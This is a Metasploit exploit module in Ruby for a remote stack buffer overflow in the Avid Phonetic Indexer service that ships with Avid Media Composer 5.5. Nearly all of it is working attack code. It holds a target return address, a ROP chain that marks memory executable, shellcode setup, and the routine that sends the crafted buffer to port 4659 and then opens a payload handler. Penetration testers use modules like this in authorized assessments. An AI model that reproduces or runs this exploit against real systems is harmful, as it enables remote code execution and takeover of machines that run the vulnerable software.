##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",
            'Description'    => %q{
                    This module exploits a stack buffer overflow in process
                AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
                5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
                it standalone it will run on port 4660.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'vt [nick.freeman@security-assessment.com]',
                ],
            'References'     =>
                [
                    [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
                ],
            'Payload'        =>
                {
                    'Space'    => 1012,
                    'BadChars' => "\x00\x09\x0a\x0d\x20",
                    'DisableNops' => true,
                    'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'EAX',
                        }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP Professional SP3',
                        {
                            'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Nov 29 2011",
            'DefaultTarget'  => 0))
 
        register_options(
            [
                Opt::RPORT(4659),
            ], self.class)
    end
 
    def exploit
        rop_gadgets = [
            # ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
            # a non-sayonara ROP would be super easy too, I'm just lazy :)
            0x7C344CC1,  # pop eax;ret;
            0x7C3410C2, # pop ecx;pop ecx;ret;
            0x7C342462, # xor chain; call eax {0x7C3410C2}
            0x7C38C510, # writeable location for lpflOldProtect
            0x7C365645, # pop esi;ret;
            0x7C345243, # ret;
            0x7C348F46, # pop ebp;ret;
            0x7C3487EC, # call eax
            0x7C344CC1, # pop eax;ret;
            0xfffffbfc, # {size}
            0x7C34D749, # neg eax;ret; {adjust size}
            0x7C3458AA, # add ebx, eax;ret; {size into ebx}
            0x7C3439FA, # pop edx;ret;
            0xFFFFFFC0, # {flag}
            0x7C351EB1, # neg edx;ret; {adjust flag}
            0x7C354648, # pop edi;ret;
            0x7C3530EA, # mov eax,[eax];ret;
            0x7C344CC1, # pop eax;ret;
            0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
            0x7C355AEB, # sub eax,30;ret;
            0x7C378C81, # pushad; add al,0xef; ret;
            0x7C36683F, # push esp;ret;
        ].pack("V*")
 
        # need to control a buffer reg for the msf gen'd payload to fly. in this case:
        bufregfix = "\x8b\xc4"       # MOV EAX,ESP
        bufregfix += "\x83\xc0\x10"  # ADD EAX,10
 
        connect
        sploit  = ''
        sploit << rand_text_alpha_upper(216)
        sploit << [target.ret].pack('V*')
        sploit << "A"*732  #This avoids a busted LoadLibrary
        sploit << rop_gadgets
        sploit << bufregfix
        sploit << "\xeb\x09"
        sploit << rand_text_alpha_upper(9)
        sploit << payload.encoded
        sock.put(sploit)
        handler
        disconnect
    end
 
end